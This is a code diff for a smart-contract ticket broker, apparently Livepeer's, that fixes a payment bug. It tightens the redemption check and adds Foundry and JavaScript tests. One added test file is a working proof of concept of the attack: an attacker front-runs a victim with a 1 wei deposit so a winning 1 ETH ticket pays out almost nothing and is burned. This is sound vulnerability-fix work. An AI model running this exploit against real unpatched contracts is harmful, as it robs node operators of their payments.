diff --git a/contracts/pm/mixins/MixinTicketBrokerCore.sol b/contracts/pm/mixins/MixinTicketBrokerCore.sol index d2387483..706b2aa8 100644 --- a/contracts/pm/mixins/MixinTicketBrokerCore.sol +++ b/contracts/pm/mixins/MixinTicketBrokerCore.sol @@ -106,7 +106,9 @@ abstract contract MixinTicketBrokerCore is MixinContractRegistry, MReserve, MTic /** * @notice Redeems a winning ticket that has been signed by a sender and reveals the - recipient recipientRand that corresponds to the recipientRandHash included in the ticket + * recipient recipientRand that corresponds to the recipientRandHash included in the ticket. + * The sender's deposit and reserve combined must fully cover the ticket face value, + * otherwise the call reverts and the ticket is not consumed. * @param _ticket Winning ticket to be redeemed in order to claim payment * @param _sig Sender's signature over the hash of `_ticket` * @param _recipientRand The preimage for the recipientRandHash included in `_ticket` @@ -125,8 +127,11 @@ abstract contract MixinTicketBrokerCore is MixinContractRegistry, MReserve, MTic // Require sender to be locked require(isLocked(sender), "sender is unlocked"); - // Require either a non-zero deposit or non-zero reserve for the sender - require(sender.deposit > 0 || remainingReserve(_ticket.sender) > 0, "sender deposit and reserve are zero"); + // Require sender deposit and reserve to fully cover the ticket face value + require( + sender.deposit.add(remainingReserve(_ticket.sender)) >= _ticket.faceValue, + "sender deposit and reserve insufficient to cover ticket face value" + ); // Mark ticket as used to prevent replay attacks involving redeeming // the same winning ticket multiple times diff --git a/src/test/TicketBrokerDustDepositGriefingFix.sol b/src/test/TicketBrokerDustDepositGriefingFix.sol new file mode 100644 index 00000000..17d9c544 --- /dev/null +++ b/src/test/TicketBrokerDustDepositGriefingFix.sol @@ -0,0 +1,109 @@ +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.9; + +import "./TicketBrokerDustDepositGriefingPoC.sol"; +import { TicketBroker } from "contracts/pm/TicketBroker.sol"; + +// forge test --match-contract TicketBrokerDustDepositGriefingFix --fork-url -vvv +contract TicketBrokerDustDepositGriefingFix is TicketBrokerDustDepositGriefingPoC { + function _upgradeTicketBroker() internal { + TicketBroker newTicketBrokerTarget = new TicketBroker(address(CONTROLLER)); + + stageAndExecuteOne( + address(CONTROLLER), + 0, + abi.encodeWithSelector( + CONTROLLER.setContractInfo.selector, + keccak256(abi.encodePacked("TicketBrokerTarget")), + address(newTicketBrokerTarget), + bytes20(0) + ) + ); + } + + function testFixDustDepositGriefing() public { + _upgradeTicketBroker(); + + (MixinTicketBrokerCore.Sender memory info, ) = TICKET_BROKER.getSenderInfo(sender); + assertEq(info.deposit, 0); + assertEq(TICKET_BROKER.getReserveInfo(sender).fundsRemaining, 0); + + (MTicketBrokerCore.Ticket memory ticket, bytes memory sig, uint256 rand) = _createSignedTicket( + victimTranscoder, + sender, + 1 ether + ); + + CHEATS.prank(attacker); + TICKET_BROKER.fundDepositAndReserveFor{ value: 1 wei }(sender, 1 wei, 0); + + (info, ) = TICKET_BROKER.getSenderInfo(sender); + assertEq(info.deposit, 1 wei); + + CHEATS.prank(victimTranscoder); + CHEATS.expectRevert("sender deposit and reserve insufficient to cover ticket face value"); + TICKET_BROKER.redeemWinningTicket(ticket, sig, rand); + + assertFalse(TICKET_BROKER.usedTickets(TICKET_BROKER.getTicketHash(ticket))); + } + + function testFixRaceConditionPartialPayout() public { + _upgradeTicketBroker(); + + address anotherTranscoder = BONDING_MANAGER.getNextTranscoderInPool(victimTranscoder); + uint256 faceValue = 1 ether; + + CHEATS.prank(sender); + TICKET_BROKER.fundDepositAndReserve{ value: faceValue + faceValue / 2 }(faceValue + faceValue / 2, 0); + + (MTicketBrokerCore.Ticket memory ticket1, bytes memory sig1, uint256 rand1) = _createSignedTicket( + anotherTranscoder, + sender, + faceValue + ); + (MTicketBrokerCore.Ticket memory ticket2, bytes memory sig2, uint256 rand2) = _createSignedTicket( + victimTranscoder, + sender, + faceValue + ); + + CHEATS.expectEmit(true, true, true, true); + emit WinningTicketTransfer(sender, anotherTranscoder, faceValue); + CHEATS.prank(anotherTranscoder); + TICKET_BROKER.redeemWinningTicket(ticket1, sig1, rand1); + + (MixinTicketBrokerCore.Sender memory info, ) = TICKET_BROKER.getSenderInfo(sender); + assertEq(info.deposit, faceValue / 2); + + CHEATS.prank(victimTranscoder); + CHEATS.expectRevert("sender deposit and reserve insufficient to cover ticket face value"); + TICKET_BROKER.redeemWinningTicket(ticket2, sig2, rand2); + + assertFalse(TICKET_BROKER.usedTickets(TICKET_BROKER.getTicketHash(ticket2))); + } + + function testNormalRedemption() public { + _upgradeTicketBroker(); + + uint256 faceValue = 1 ether; + + CHEATS.prank(sender); + TICKET_BROKER.fundDepositAndReserve{ value: faceValue }(faceValue, 0); + + (MTicketBrokerCore.Ticket memory ticket, bytes memory sig, uint256 rand) = _createSignedTicket( + victimTranscoder, + sender, + faceValue + ); + + CHEATS.expectEmit(true, true, true, true); + emit WinningTicketTransfer(sender, victimTranscoder, faceValue); + CHEATS.prank(victimTranscoder); + TICKET_BROKER.redeemWinningTicket(ticket, sig, rand); + + assertTrue(TICKET_BROKER.usedTickets(TICKET_BROKER.getTicketHash(ticket))); + + (MixinTicketBrokerCore.Sender memory info, ) = TICKET_BROKER.getSenderInfo(sender); + assertEq(info.deposit, 0); + } +} diff --git a/src/test/TicketBrokerDustDepositGriefingPoC.sol b/src/test/TicketBrokerDustDepositGriefingPoC.sol new file mode 100644 index 00000000..a8eb3e3f --- /dev/null +++ b/src/test/TicketBrokerDustDepositGriefingPoC.sol @@ -0,0 +1,155 @@ +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.9; + +import "./base/GovernorBaseTest.sol"; +import "contracts/pm/TicketBroker.sol"; +import "contracts/pm/mixins/MixinTicketBrokerCore.sol"; +import "contracts/pm/mixins/interfaces/MTicketBrokerCore.sol"; +import "contracts/rounds/RoundsManager.sol"; +import "contracts/bonding/BondingManager.sol"; + +// forge test --match-contract TicketBrokerDustDepositGriefingPoC --fork-url -vvv +contract TicketBrokerDustDepositGriefingPoC is GovernorBaseTest { + TicketBroker public immutable TICKET_BROKER; + RoundsManager public immutable ROUNDS_MANAGER; + BondingManager public immutable BONDING_MANAGER; + + event WinningTicketTransfer(address indexed sender, address indexed recipient, uint256 amount); + + constructor() { + TICKET_BROKER = TicketBroker(getContract("TicketBroker")); + ROUNDS_MANAGER = RoundsManager(getContract("RoundsManager")); + BONDING_MANAGER = BondingManager(getContract("BondingManager")); + } + + uint256 senderPrivateKey = 0xb0b; + address sender; + address victimTranscoder; + address attacker; + + function setUp() public { + sender = CHEATS.addr(senderPrivateKey); + victimTranscoder = BONDING_MANAGER.getFirstTranscoderInPool(); + attacker = newAddr(); + CHEATS.deal(sender, 2 ether); + CHEATS.deal(attacker, 0.1 ether); + } + + function testDustDepositGriefing() public { + // The sender's deposit is 0 + (MixinTicketBrokerCore.Sender memory info, ) = TICKET_BROKER.getSenderInfo(sender); + assertEq(info.deposit, 0); + + // The sender's reserve is 0 + assertEq(TICKET_BROKER.getReserveInfo(sender).fundsRemaining, 0); + + // A valid ticket exists for the victim + (MTicketBrokerCore.Ticket memory ticket, bytes memory sig, uint256 rand) = _createSignedTicket( + victimTranscoder, + sender, + 1 ether + ); + + // The attacker frontruns victim's transaction + CHEATS.prank(attacker); + TICKET_BROKER.fundDepositAndReserveFor{ value: 1 wei }(sender, 1 wei, 0); + + // Sanity-check: The sender now has 1 wei deposit + (info, ) = TICKET_BROKER.getSenderInfo(sender); + assertEq(info.deposit, 1 wei); + + // Consequence 1: The victim now expected to receive 1 wei instead of 1 ETH + CHEATS.expectEmit(true, true, true, true); + emit WinningTicketTransfer(sender, victimTranscoder, 1 wei); + + // Unchanged victim transcoder transaction + CHEATS.prank(victimTranscoder); + TICKET_BROKER.redeemWinningTicket(ticket, sig, rand); + + // Consequence 2: The ticket is marked as used + assertTrue(TICKET_BROKER.usedTickets(TICKET_BROKER.getTicketHash(ticket))); + + // Sanity-check: The deposit is consumed + (info, ) = TICKET_BROKER.getSenderInfo(sender); + assertEq(info.deposit, 0); + } + + function testRaceConditionPartialPayout() public { + address anotherTranscoder = BONDING_MANAGER.getNextTranscoderInPool(victimTranscoder); + + uint256 faceValue = 1 ether; + + // Sender funds 1.5x face value: enough to fully cover one ticket but not two + CHEATS.prank(sender); + TICKET_BROKER.fundDepositAndReserve{ value: faceValue + faceValue / 2 }(faceValue + faceValue / 2, 0); + + (MixinTicketBrokerCore.Sender memory info, ) = TICKET_BROKER.getSenderInfo(sender); + assertEq(info.deposit, faceValue + faceValue / 2); + + // Two valid winning tickets from the same sender to two different transcoders + (MTicketBrokerCore.Ticket memory ticket1, bytes memory sig1, uint256 rand1) = _createSignedTicket( + anotherTranscoder, + sender, + faceValue + ); + (MTicketBrokerCore.Ticket memory ticket2, bytes memory sig2, uint256 rand2) = _createSignedTicket( + victimTranscoder, + sender, + faceValue + ); + + // Another transcoder redeems first and receives full face value + CHEATS.expectEmit(true, true, true, true); + emit WinningTicketTransfer(sender, anotherTranscoder, faceValue); + CHEATS.prank(anotherTranscoder); + TICKET_BROKER.redeemWinningTicket(ticket1, sig1, rand1); + + // Deposit is now 0.5 ETH, not enough to cover the victim's ticket in full + (info, ) = TICKET_BROKER.getSenderInfo(sender); + assertEq(info.deposit, faceValue / 2); + + // Victim transcoder redeems second and receives only 0.5 ETH despite a valid 1 ETH ticket + CHEATS.expectEmit(true, true, true, true); + emit WinningTicketTransfer(sender, victimTranscoder, faceValue / 2); + CHEATS.prank(victimTranscoder); + TICKET_BROKER.redeemWinningTicket(ticket2, sig2, rand2); + + // Ticket is permanently burned despite the partial payout + assertTrue(TICKET_BROKER.usedTickets(TICKET_BROKER.getTicketHash(ticket2))); + (info, ) = TICKET_BROKER.getSenderInfo(sender); + assertEq(info.deposit, 0); + } + + function _createSignedTicket( + address _recipient, + address _sender, + uint256 _faceValue + ) + internal + returns ( + MTicketBrokerCore.Ticket memory, + bytes memory, + uint256 + ) + { + uint256 recipientRand = 987654321; + uint256 creationRound = ROUNDS_MANAGER.currentRound(); + bytes32 blockHash = ROUNDS_MANAGER.blockHashForRound(creationRound); + + MTicketBrokerCore.Ticket memory ticket = MTicketBrokerCore.Ticket({ + recipient: _recipient, + sender: _sender, + faceValue: _faceValue, + winProb: type(uint256).max, + senderNonce: 0, + recipientRandHash: keccak256(abi.encodePacked(recipientRand)), + auxData: abi.encodePacked(creationRound, blockHash) + }); + + bytes32 ticketHash = TICKET_BROKER.getTicketHash(ticket); + bytes32 ethSignedHash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", ticketHash)); + (uint8 v, bytes32 r, bytes32 s) = CHEATS.sign(senderPrivateKey, ethSignedHash); + + return (ticket, abi.encodePacked(r, s, v), recipientRand); + } +} diff --git a/test/unit/TicketBroker.js b/test/unit/TicketBroker.js index 3d122bcc..30b51115 100644 --- a/test/unit/TicketBroker.js +++ b/test/unit/TicketBroker.js @@ -972,12 +972,169 @@ describe("TicketBroker", () => { it("reverts if sender's deposit and reserve are zero", async () => { const recipientRand = 5 - const ticket = createWinningTicket(recipient, sender, recipientRand) + const ticket = createWinningTicket( + recipient, + sender, + recipientRand, + 1 + ) const senderSig = await signMsg(getTicketHash(ticket), sender) await expect( broker.redeemWinningTicket(ticket, senderSig, recipientRand) - ).to.be.revertedWith("sender deposit and reserve are zero") + ).to.be.revertedWith( + "sender deposit and reserve insufficient to cover ticket face value" + ) + }) + + it("reverts if faceValue exceeds deposit and reserve combined, but succeeds after topping up deposit", async () => { + const deposit = 500 + const reserve = 300 + await broker.fundDeposit({value: deposit}) + await broker.fundReserve({value: reserve}) + await fixture.roundsManager.setMockUint256( + functionSig("currentRound()"), + currentRound + ) + await fixture.bondingManager.setMockUint256( + functionSig("getTranscoderPoolSize()"), + 1 + ) + await fixture.bondingManager.setMockBool( + functionSig("isActiveTranscoder(address)"), + true + ) + + const recipientRand = 5 + const faceValue = deposit + reserve + 1 + const ticket = createWinningTicket( + recipient, + sender, + recipientRand, + faceValue + ) + const senderSig = await signMsg(getTicketHash(ticket), sender) + + await expect( + broker + .connect(signers[1]) + .redeemWinningTicket(ticket, senderSig, recipientRand) + ).to.be.revertedWith( + "sender deposit and reserve insufficient to cover ticket face value" + ) + + await broker.fundDeposit({value: 1}) + await broker + .connect(signers[1]) + .redeemWinningTicket(ticket, senderSig, recipientRand) + + const endDeposit = ( + await broker.getSenderInfo(sender) + ).sender.deposit.toString() + assert.equal(endDeposit, "0") + assert.equal( + ( + await broker.getSenderInfo(sender) + ).reserve.fundsRemaining.toString(), + "0" + ) + }) + + it("reverts if faceValue exceeds deposit and reserve combined, but succeeds after topping up reserve", async () => { + const deposit = 500 + const reserve = 300 + await broker.fundDeposit({value: deposit}) + await broker.fundReserve({value: reserve}) + await fixture.roundsManager.setMockUint256( + functionSig("currentRound()"), + currentRound + ) + await fixture.bondingManager.setMockUint256( + functionSig("getTranscoderPoolSize()"), + 1 + ) + await fixture.bondingManager.setMockBool( + functionSig("isActiveTranscoder(address)"), + true + ) + + const recipientRand = 5 + const faceValue = deposit + reserve + 1 + const ticket = createWinningTicket( + recipient, + sender, + recipientRand, + faceValue + ) + const senderSig = await signMsg(getTicketHash(ticket), sender) + + await expect( + broker + .connect(signers[1]) + .redeemWinningTicket(ticket, senderSig, recipientRand) + ).to.be.revertedWith( + "sender deposit and reserve insufficient to cover ticket face value" + ) + + await broker.fundReserve({value: 1}) + await broker + .connect(signers[1]) + .redeemWinningTicket(ticket, senderSig, recipientRand) + + const endDeposit = ( + await broker.getSenderInfo(sender) + ).sender.deposit.toString() + assert.equal(endDeposit, "0") + assert.equal( + ( + await broker.getSenderInfo(sender) + ).reserve.fundsRemaining.toString(), + "0" + ) + }) + + it("succeeds when faceValue equals deposit and reserve combined", async () => { + const deposit = 500 + const reserve = 300 + await broker.fundDeposit({value: deposit}) + await broker.fundReserve({value: reserve}) + await fixture.roundsManager.setMockUint256( + functionSig("currentRound()"), + currentRound + ) + await fixture.bondingManager.setMockUint256( + functionSig("getTranscoderPoolSize()"), + 1 + ) + await fixture.bondingManager.setMockBool( + functionSig("isActiveTranscoder(address)"), + true + ) + + const recipientRand = 5 + const faceValue = deposit + reserve + const ticket = createWinningTicket( + recipient, + sender, + recipientRand, + faceValue + ) + const senderSig = await signMsg(getTicketHash(ticket), sender) + + await broker + .connect(signers[1]) + .redeemWinningTicket(ticket, senderSig, recipientRand) + + const endDeposit = ( + await broker.getSenderInfo(sender) + ).sender.deposit.toString() + assert.equal(endDeposit, "0") + assert.equal( + ( + await broker.getSenderInfo(sender) + ).reserve.fundsRemaining.toString(), + "0" + ) }) describe("only legacy long-signatures are supported by the protocol ", () => { @@ -1554,7 +1711,7 @@ describe("TicketBroker", () => { recipient2.address, sender, recipientRand, - faceValue + 15 + allocation ) const senderSig2 = await signMsg( getTicketHash(ticket2), @@ -1627,7 +1784,7 @@ describe("TicketBroker", () => { await broker.fundDeposit({value: deposit}) const recipientRand = 5 - const faceValue = 1000 + const faceValue = deposit const ticket = createWinningTicket( recipient, sender,